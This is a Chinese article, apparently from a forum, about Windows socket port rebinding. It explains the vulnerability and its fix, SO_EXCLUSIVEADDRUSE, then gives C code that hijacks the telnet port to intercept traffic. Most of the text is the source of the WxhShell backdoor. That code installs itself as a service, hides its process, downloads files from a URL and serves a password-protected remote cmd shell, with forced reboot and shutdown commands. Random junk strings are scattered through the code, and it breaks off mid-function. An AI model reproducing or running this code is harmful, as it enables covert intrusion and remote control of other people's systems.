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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V )1.)XC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b*H*(}A6"' A^#\=ZBg1 saddr.sin_family = AF_INET; ;8dffsyq {+nf&5E 6 saddr.sin_addr.s_addr = htonl(INADDR_ANY); '5LdiSk 2ij&Db/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JgA{1@h T\g+w\N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'nBP% vZ811U~} 这意味着什么?意味着可以进行如下的攻击: GC' e ir"t@"Y;o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vhAgX0k O ;[Mi 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GM?s8yZ< aKWxL e 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^g5E&0a`g k!}(a0h 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 8A.7q M=lU`Sm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \$*CXjh3G t$wbwP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >TY;l3ew _U-`/r o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G"OP`OMDc 2QM{e!9 #include FO%pdLs, #include s\pukpf@ #include #QIY+muN #include &(A#F[ =0 DWORD WINAPI ClientThread(LPVOID lpParam); dH
PvVe/ int main() Bv!{V)$ { Wbei{3~$Y" WORD wVersionRequested; 8'jt59/f DWORD ret; 0<a|=kZ WSADATA wsaData; 2l+L96 BOOL val; A[ncwJ SOCKADDR_IN saddr; jC4>%!{m SOCKADDR_IN scaddr; lwrh4<~\,* int err; r)>3YM5 SOCKET s; [rWBVfm SOCKET sc; =gD)j&~}_ int caddsize; X% j`rQk` HANDLE mt; yF?O+9R
A DWORD tid; "a(4]) wVersionRequested = MAKEWORD( 2, 2 ); !Q15qvRS err = WSAStartup( wVersionRequested, &wsaData ); *DC/O(
0 if ( err != 0 ) { 1n[)({OQ printf("error!WSAStartup failed!\n"); 8.n#@% return -1; T3@2e0u ) } _:=\h5}8 saddr.sin_family = AF_INET; HbI{Xf[6LP 6V%}2YE?X //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vt2.
i$u 'jfE?ngt saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d"06
gp saddr.sin_port = htons(23); \<*F#3U1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cWZITT{A { tWTHyL printf("error!socket failed!\n"); #~)A#~4O return -1; =eUKpYI
} 5X=1a*2'] val = TRUE; ye9GBAj
/ //SO_REUSEADDR选项就是可以实现端口重绑定的 2[ofz}k]r) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %UrNPk { I`X!M!dB) printf("error!setsockopt failed!\n"); b4-gNF]Yt return -1; gac31,gH } 6qFzo1LO //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uX3yq<lK" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vJ}WNvncVF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cZ|*Zpk RQ=$,
i` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zKGZg>q { )'T].kWW ret=GetLastError(); 7PMz6 printf("error!bind failed!\n"); } &+]UGv return -1; &)tiO>B^6 } G=|?aK{p listen(s,2); Zf3(!
a[ while(1) Ig}hap]G { 5=I({=/> caddsize = sizeof(scaddr); i/+^C($'f //接受连接请求 Os'E7;:1h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H=C~h\me? if(sc!=INVALID_SOCKET) x-k-Pd { h~\k;ca mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hdx_Tduue if(mt==NULL) 9 da=q { /y{:N printf("Thread Creat Failed!\n"); m(U.BXo break; tj~r>SRb+ } A;Y~Hu4KPZ } 0*b8?e CloseHandle(mt); ,HTwEq>-G } kD )31P closesocket(s); mMwV5\( WSACleanup(); pI-Qq%Nwt return 0; x5uz$g } X^N6s"2 DWORD WINAPI ClientThread(LPVOID lpParam) J FnE{ { Z9$pY=8^? SOCKET ss = (SOCKET)lpParam; @2h hB W SOCKET sc; W9Azp8)p] unsigned char buf[4096]; lf>d{zd5 SOCKADDR_IN saddr; 81x/bx@L% long num; >^Wpc DWORD val; LF!KP DWORD ret; \O"H#gt //如果是隐藏端口应用的话,可以在此处加一些判断 m`-:j"]b$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =K} Pfh saddr.sin_family = AF_INET; PL&>pM saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [-VH%OM saddr.sin_port = htons(23); j!i*& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8xAI n>,_ { M?sax+' printf("error!socket failed!\n"); aC2Vz9e return -1; "zJ xWXI } k1xx>=md|C val = 100; 1a(\F7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2~f*o^%l { KPO w ret = GetLastError(); /kG?I_z return -1; iXo;e } VQH48{X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [k\VUg:P { sx=1pnP9` ret = GetLastError(); 2[`n<R\ return -1; y4jiOhF<d } 0vfMJzk if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `RSiZ%Al { ;%2+Tc-7I printf("error!socket connect failed!\n"); ,dQ*0XO! closesocket(sc); 8iY.!.G#| closesocket(ss); *Ci&1Mu^Z return -1; q;nAq% } j1g$LAe while(1) 4bGvkxZo`$ { plB8iN`x< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 59D'*!l- //如果是嗅探内容的话,可以再此处进行内容分析和记录 !Z2h?..O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rBmW%Gv num = recv(ss,buf,4096,0); zqdkt ` if(num>0) drjNK!XL@ send(sc,buf,num,0); ^2Cqy%x- else if(num==0) 9D\E0YG X/ break; 98 R/^\ num = recv(sc,buf,4096,0); D? %*L if(num>0) W)r|9G8T send(ss,buf,num,0); mv:@ D else if(num==0) jRC{8^98 break; \Qah*1 } jm<^WQ%Cc closesocket(ss); 0qFO+nC closesocket(sc); )
6QJZ$ return 0 ; jW8ad{ } RP~67L N*Q*>q B">Ko3 ========================================================== [rcM32 <Rw2F?S~)n 下边附上一个代码,,WXhSHELL kYkA^Aq +1cr6a ========================================================== GOdWc9Ta! #@BhGB`9Qt #include "stdafx.h" yxu7YGp% |khFQ( #include <stdio.h> h='&^1 #include <string.h> 9'H:pb2 #include <windows.h> XkqsL0\ #include <winsock2.h> "6%{#TZ #include <winsvc.h> wS|k3^OV% #include <urlmon.h> &?QKWxN IxWi>8
#pragma comment (lib, "Ws2_32.lib") Gq1C"s$4' #pragma comment (lib, "urlmon.lib") <ndY6n3 J)Yz@0#T(; #define MAX_USER 100 // 最大客户端连接数 Hfj.8$ #define BUF_SOCK 200 // sock buffer nt>3 i! l #define KEY_BUFF 255 // 输入 buffer /!Ag/SmS!9 y{(Dv} #define REBOOT 0 // 重启 j07A>G-= #define SHUTDOWN 1 // 关机 Cd^1E]O0{ !U4YA1>> #define DEF_PORT 5000 // 监听端口 g/$RuT2U GL0P&$h #define REG_LEN 16 // 注册表键长度 \bF<f02P #define SVC_LEN 80 // NT服务名长度 R$u1\r1I F7C+uGTs // 从dll定义API 4Hf'/%kW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XLiwE$:t% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~5|R`% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ew.6y=Ba typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {Q$8p2W M<l<n$rYS // wxhshell配置信息 eVMnI yr struct WSCFG { ]:F!h2 int ws_port; // 监听端口 Xl<*Fn? char ws_passstr[REG_LEN]; // 口令 @Zhd/=2[ int ws_autoins; // 安装标记, 1=yes 0=no 7R5ebMW
V char ws_regname[REG_LEN]; // 注册表键名 `Zmdlp@ char ws_svcname[REG_LEN]; // 服务名 eW<NDI&b char ws_svcdisp[SVC_LEN]; // 服务显示名 )xU+M{p-os char ws_svcdesc[SVC_LEN]; // 服务描述信息 |AExaO"jk char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k fY; int ws_downexe; // 下载执行标记, 1=yes 0=no Xajt][ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" R>Ox(MG char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _Ad63.Uq)) h]i vXF* }; XkUwO ] @||nd,i`n~ // default Wxhshell configuration &QQ6F>'T struct WSCFG wscfg={DEF_PORT, %b_0l<+
"xuhuanlingzhe", 6j1C=O@S 1, 0r$n "Wxhshell", \uo{I~Qd "Wxhshell", Ed0}$b "WxhShell Service", nZYO}bv\ "Wrsky Windows CmdShell Service", aEa.g.SZ "Please Input Your Password: ", s4f{ziLp 1, PpLhj " http://www.wrsky.com/wxhshell.exe", t}}Ti$$> "Wxhshell.exe" \O~/^ Y3U! }; #d<"Ub 1\lZ&KX$i // 消息定义模块 Jc]k\U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SCn)j:gH; char *msg_ws_prompt="\n\r? for help\n\r#>"; NuF?:L[
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 7nxH>.,Q> char *msg_ws_ext="\n\rExit."; h4ntjk|{i7 char *msg_ws_end="\n\rQuit."; p/LV^TQ char *msg_ws_boot="\n\rReboot..."; 4;32f` char *msg_ws_poff="\n\rShutdown..."; Y0Tw:1a char *msg_ws_down="\n\rSave to "; uTO%O}D N hc]p^/H char *msg_ws_err="\n\rErr!"; T_wh)B4xW char *msg_ws_ok="\n\rOK!"; #Ddo` >`& /Trbr]lWy char ExeFile[MAX_PATH]; 58mpW`Q int nUser = 0; <f)T*E^5% HANDLE handles[MAX_USER]; 'Zex/:QS int OsIsNt; x@)cj M.qv'zV`xG SERVICE_STATUS serviceStatus; qOQ8a:]? SERVICE_STATUS_HANDLE hServiceStatusHandle; H;AMRL o4z ]d{lS&PRlg // 函数声明 `25<;@ int Install(void); gCRPaF6 int Uninstall(void); ;2?fz@KZ int DownloadFile(char *sURL, SOCKET wsh); u+6L>7t88I int Boot(int flag); 5mL4Zq" void HideProc(void); *(wxNsK int GetOsVer(void); dqgr98 int Wxhshell(SOCKET wsl); &+hk5?c / void TalkWithClient(void *cs); fpO2bD%$8 int CmdShell(SOCKET sock); l LBzY`j int StartFromService(void); c1R[Hck int StartWxhshell(LPSTR lpCmdLine); H<nA*Zf2@R HHgv,bC! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 23houS VOID WINAPI NTServiceHandler( DWORD fdwControl ); spQr1hx< ^)`e}} // 数据结构和表定义 =l]
lwA- SERVICE_TABLE_ENTRY DispatchTable[] = y=
8SD7P' { `d/* sX?k {wscfg.ws_svcname, NTServiceMain}, 5D7k[+6 {NULL, NULL} nsq7dhq }; h^,L) E eQ[}ALIq // 自我安装 ;jPiD`Kyv int Install(void) f}.t { H|`D3z.c char svExeFile[MAX_PATH]; ^e\$g2). HKEY key; 9R-2\D] strcpy(svExeFile,ExeFile); "8a ?KQ ~`$P-^u88X // 如果是win9x系统,修改注册表设为自启动 ?} E
M, if(!OsIsNt) { %SCt_9u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,E%O_:}R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #tw_`yh RegCloseKey(key); bl10kI:F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8aM\B%NGWi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `q | )_ RegCloseKey(key); R S>qP;V*- return 0; 4OAR ["f } O^ &m } N<Ym&$xR } L0{[L else { ) 3f\H q^ &r<i // 如果是NT以上系统,安装为系统服务 z/WGL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X -=M>H^ if (schSCManager!=0) c|k(_#\B { Ff
=%eg] SC_HANDLE schService = CreateService VKlC`k8L ( ]vV)$xMX schSCManager, k#/cdK!K wscfg.ws_svcname, #2Vq"Zn wscfg.ws_svcdisp, xDS]k]/(T SERVICE_ALL_ACCESS, 1IT(5Mleb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tef>Py SERVICE_AUTO_START, D=.Ob<m`Z SERVICE_ERROR_NORMAL, kf |J svExeFile, ;v.J
D7 NULL, r%$\Na'' NULL, {(tR<z) NULL, /9Qr1@&v NULL, COBjJ3 NULL Oc.8d< ); \;Q!}_ K if (schService!=0) UV{})T*s { )
jM-5}" CloseServiceHandle(schService); >r}?v3QW CloseServiceHandle(schSCManager); .*W7Z8!e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >@-.rkd( strcat(svExeFile,wscfg.ws_svcname);
J!3;\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6p3cMJ'8y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XW^Pz( RegCloseKey(key); _[l&{, return 0; i],~tT|P } uz20pun4B } O@dK^o CloseServiceHandle(schSCManager); bTAY5\wB } F|oyrG } [
`_sH\ /t2H%#v{ return 1; *Utx0Me } k;SKQN %503<j // 自我卸载 QvOl-Lfc int Uninstall(void) 4N3O<)C)@ { X%B$*y5 HKEY key; e5;YY gv(MX
;B# if(!OsIsNt) { FlrY Xau if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bwszfPM RegDeleteValue(key,wscfg.ws_regname); ]n:R#55A RegCloseKey(key); +Oo-8f* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MhD=\Lpj\ RegDeleteValue(key,wscfg.ws_regname); y~M6 RegCloseKey(key); +Ll29Buyi return 0; "Wb KhE } bB*cd!7y } uGYH4
} &wu1Zz[qcz else { Y$./!lVY _c:th{* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,KPrUM} if (schSCManager!=0) 9.#")%_p { #8BI`.t)j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R;&k/v if (schService!=0) hD, |CQ { D+q z` if(DeleteService(schService)!=0) { \~U:k4 CloseServiceHandle(schService); e~R_ bBQ0 CloseServiceHandle(schSCManager); a6It1%a+ return 0; YZ<5-C } k!WeE#"( CloseServiceHandle(schService); ``{GU}n } x>A[~s"|N CloseServiceHandle(schSCManager); m<*+^JN } (VHPcoL } WVp6/HS ]zIIi% return 1; A\E ))b9+ } #~w~k+E4 g~9b_PY9 // 从指定url下载文件 k!6m'}v int DownloadFile(char *sURL, SOCKET wsh) l!\~T"-7;: { H_1&>@ 3 HRESULT hr; h^14/L=| char seps[]= "/"; qc3,/JO1 char *token; @ @(O##(7 char *file; T5:xia>8O char myURL[MAX_PATH]; +-5YmN' char myFILE[MAX_PATH]; I@#IXH?6 ,WW=,P strcpy(myURL,sURL); Z,~@_;F token=strtok(myURL,seps); rx<P#y]3) while(token!=NULL) =fB"T+ { K;w]sN+I file=token; N+pCC token=strtok(NULL,seps); g$/7km{TP } pRjrMS 2l:cP2fa GetCurrentDirectory(MAX_PATH,myFILE); 3+iryW(\ strcat(myFILE, "\\"); ;!3: 3; strcat(myFILE, file); ? 5OK4cR send(wsh,myFILE,strlen(myFILE),0); yGX5\PSo send(wsh,"...",3,0); Qz$nWsD hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |BD2=7,z if(hr==S_OK) iYlkc return 0; :<5jlpV( else <HpUP!q8v return 1; Ufor> t"MrrK>T } P1Iy>%3 r-]%R:U* // 系统电源模块 w:=:D=xH2 int Boot(int flag) 6
Pdao{P { lB#7j HANDLE hToken; 5as5{"l TOKEN_PRIVILEGES tkp; 'cc{sjG "\5 T
6 if(OsIsNt) { GsiKL4|mj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h1f 05 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j|XL$Q tkp.PrivilegeCount = 1; -q?, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]4K4Nh~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X7tBpyi if(flag==REBOOT) { tv:
mjS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s |o(~2j return 0; #n|eq{fkK } h$%h w+"4 else { n +2>jY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z*cKH$': return 0; )gAqWbkB } 8-@HzS% } QDKY7"H else { 4<f^/!9w if(flag==REBOOT) { 8{6`?qst@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f*p=j(sF return 0; ,;<M+V3+ } HJlxpX$_ else { _|;{{8*? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BD]o+96qP return 0; {V8uk$ } 8cURYg6v } ]A1'+!1$ u4 ~.[3E* return 1; kD)]\ } )Z\Zw~L /2tPd // win9x进程隐藏模块 J?hs\nA void HideProc(void) -q&,7'V { ,F "P/`i' ni<\AF]` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8u1?\SYnb if ( hKernel != NULL ) <vxTfE@>bp { }2Y`Lr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (''w$qq"D ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (io[O?te FreeLibrary(hKernel); 3[ xHY@c } /R>YDout} BE54L+$p return; ~4mRm!DP } Ua~8DdW 7d+0'3% // 获取操作系统版本 /1Ss |. int GetOsVer(void) N0 mhgEA { <KI>:@|Sc OSVERSIONINFO winfo; :EH>&vm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); us.IdG GetVersionEx(&winfo); :X}Ie P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bwJluJ,E return 1; 0+.<BOcW5 else Xc~BHEp return 0; n_wF_K\h } 7c6-
o"A IfY?P(P // 客户端句柄模块 o5m]Gqa int Wxhshell(SOCKET wsl) 'Axe:8LA' { t5 P8?q\ SOCKET wsh; f6PYB&<1 struct sockaddr_in client; J.O{+{&cd DWORD myID; KJs`[,;< Kb'4W-&u! while(nUser<MAX_USER) LX =cx$K { %Z-xh<& int nSize=sizeof(client); u7 <VD wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *uKYrs [ if(wsh==INVALID_SOCKET) return 1;
u_FN'p=. z<J2e^j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ",aEN=+|hV if(handles[nUser]==0) SA%)xGRW closesocket(wsh); rMw$T=Oi else '+c@U~d*7 nUser++; lAo4) } Y3-f68*( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xZ
SDA8kS <)Y jVGG return 0; ['3E'q,4& } #nmh=G?\Sm *nv^s // 关闭 socket y
k\/Cf void CloseIt(SOCKET wsh) voJJoy% { Vo|[Z)MO` closesocket(wsh); BA8!NR| nUser--; C^:{y ExitThread(0); 7;Vmbt9 } '?LqVzZI kxmsrQ>av // 客户端请求句柄 tJGK9!MH{( void TalkWithClient(void *cs) {s6hi#R> { }%^ 3 c6iFha;db SOCKET wsh=(SOCKET)cs; f'BmIFb# char pwd[SVC_LEN]; P0k.\ 8qz char cmd[KEY_BUFF]; Os!x<r|r char chr[1]; 1@F>E;YjL= int i,j; X?(R!=a "I @akM$x while (nUser < MAX_USER) { F;Q'R|HQ u(PUbxJ
V if(wscfg.ws_passstr) { xlh<}Vtp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kjt(OFh'Y+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l% qh^0 //ZeroMemory(pwd,KEY_BUFF); by$mD_sr i=0; - rI4_Dl while(i<SVC_LEN) { M-e|$'4u Z4m+GFY // 设置超时 =c%gV]>G fd_set FdRead; FV/lBWiQQ struct timeval TimeOut; _<l)4A3rS FD_ZERO(&FdRead); o
WAy[ FD_SET(wsh,&FdRead); 7y$U$6 TimeOut.tv_sec=8; 3 FMYs&0r4 TimeOut.tv_usec=0; ^Cj3\G4, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9V;A+d, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Or55_E E5a7p. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L[U?{ pwd =chr[0]; AtqsrYj
if(chr[0]==0xd || chr[0]==0xa) { pr1kYMrqri pwd=0; A+z}z@K break; \3hFb,/4k } jLw|F-v-l< i++; -U;=]o1 } c_aj-`BKp kZR(0,
W // 如果是非法用户,关闭 socket zhY]! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f=Oj01Ut* } .\3gb6S} 4E$d"D5]>p send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \{qtdTd send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +F>erdV Z@AN0?,`~o while(1) { 7Jpq7; AE Abny
q ZeroMemory(cmd,KEY_BUFF); V@\u<LO0G =dp`4N // 自动支持客户端 telnet标准 R'oGsaPB2 j=0; hdqr~9 while(j<KEY_BUFF) { $8Z4jo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S7@/dHN cmd[j]=chr[0]; sWi4+PAM0 if(chr[0]==0xa || chr[0]==0xd) { Sae*VvT6 cmd[j]=0; N,*'")k9 break; vtc%MG1 } N37CAbw0 j++; U?
;Q\=> } #E#@6ZomT (^]3l%Ed // 下载文件 /PG%Y]l0b if(strstr(cmd,"http://")) { vOl3utu7 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?/(*cA
if(DownloadFile(cmd,wsh)) *T.V5FB0S send(wsh,msg_ws_err,strlen(msg_ws_err),0); =6=l.qyYK else ?`75ah send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (@=h(u . } %UG|R: else { 8k_hX^ Un&rP70 switch(cmd[0]) { Dw,LB>Eq, n>)h9q S // 帮助 v7f[$s$m case '?': { t$lJgj(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3(:?Z-iKe break; g+xcKfN{ } $-
Y8@bw // 安装 X G5"u case 'i': { yvnvI y if(Install()) !P6?nS send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Q[E>j?w= else q3|SZoN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qz$Wp* break; :zpT Gk8Z } KYq<n& s // 卸载 0;%\L :,O case 'r': { }s8xr> if(Uninstall()) R?J8#JPXD send(wsh,msg_ws_err,strlen(msg_ws_err),0); {@PZlQg else g9IIC5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jPg[LZQ' break; J@J`) } TjpAJW@- // 显示 wxhshell 所在路径 |:`)sx3@# case 'p': { ${97G# char svExeFile[MAX_PATH]; C%/@U[; strcpy(svExeFile,"\n\r"); V3/OKI\o strcat(svExeFile,ExeFile); X@7:FzU9 send(wsh,svExeFile,strlen(svExeFile),0); =r&i`L{] break; X3y28 %R } !"ydl2 // 重启 @}'?o_/C case 'b': { ~W3t(\B' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I,r0K] if(Boot(REBOOT)) .fK~IKA send(wsh,msg_ws_err,strlen(msg_ws_err),0); "po;[
Ia2 else { c#@L~< closesocket(wsh); \t? ;p-+ta ExitThread(0); !HXyvyDN } -1ci.4F& break; IcNZUZGE } {RD9j1 // 关机 f3<2531/} case 'd': { dx.Jv/Mb send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %mOQIXr1s if(Boot(SHUTDOWN)) aED73:b send(wsh,msg_ws_err,strlen(msg_ws_err),0); ho!qXS else { TnuA uui* closesocket(wsh); EV;"]lC9 ExitThread(0); {9~3y2: } j
~I_by break; 4UN|`'c } M1*x47bN // 获取shell &0+Ba[Z ^ case 's': { gGs"i]c CmdShell(wsh); ifmX<'(9A closesocket(wsh); *#GX~3A ExitThread(0); _#
&_`bZH break; q{!ft9|K\d } ?` 2z8uD/ // 退出 7bR[.|T case 'x': { hl,x|.f}4Y send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `J;g~#/k CloseIt(wsh); 1TgD;qX break; +77j2W_0 } '1Ex{$Yk // 离开 $`L
| case 'q': { ^ JU#_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); G}nj
71=H closesocket(wsh); HYNp vK WSACleanup(); ~SwGZ exit(1); ^vI`#}? break; unr`.}A2> } /5Yl, P } 2TQ<XHA\ } V\AF%=6} Z0M|Bv9_ // 提示信息 WHRBYq_ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 02^Nf7DMR } ;rXZ?" } <JW%h :\t QjTs$#eMW return; {Ut,xi } V} h)e3X $wk(4W8E // shell模块句柄 R l)g[s int CmdShell(SOCKET sock) Y*S(uqM { :S+Bu*OyH STARTUPINFO si; 0.B'Bvn=s2 ZeroMemory(&si,sizeof(si)); m4R:KjN* si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $-39O3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^+Vf*YY
8 PROCESS_INFORMATION ProcessInfo; /^`do3a} char cmdline[]="cmd"; LXRIo2ynuw CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o3le[6C/8= return 0; A=np?wc } )\{]4[9N `Zci< // 自身启动模式 v\5`n@}4 int StartFromService(void) \{o<-S;h { 1Q$/L+uJ5 typedef struct ^fbzlu?G4- { ~;oaW<" DWORD ExitStatus; ra1_XR} DWORD PebBaseAddress; {G=|fgz DWORD AffinityMask; ?%b#FXA DWORD BasePriority; r$,Xv+} ULONG UniqueProcessId; Ubh)}G,Mg ULONG InheritedFromUniqueProcessId; )OFf nKh } PROCESS_BASIC_INFORMATION; fD2 N} q oz[x PROCNTQSIP NtQueryInformationProcess; VrJf g 5zF$Q {3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5$*=;ls>J static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
